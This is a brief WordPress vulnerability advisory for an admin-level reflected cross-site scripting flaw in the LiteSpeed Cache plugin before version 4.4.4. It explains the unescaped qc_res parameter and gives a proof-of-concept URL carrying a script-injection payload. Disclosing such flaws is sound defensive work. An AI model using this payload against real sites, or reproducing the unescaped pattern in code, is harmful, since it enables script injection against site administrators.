WordPress Plugin Vulnerabilities
LiteSpeed Cache < 4.4.4 - Admin+ Reflected Cross-Site Scripting
Description
The plugin does not escape the qc_res parameter before outputting it back in the JS code of an admin page, leading to a Reflected Cross-Site Scripting
Proof of Concept
As admin, enter the following payload in the Domain Key setting of the plugin: </script><script> Then open https://example.com/wp-admin/admin.php?page=litespeed-general&qc_res=</script><script>alert(/XSS/)</script>&domain_hash=541a0e1df04a2a5b7e4bd3472ff596cc
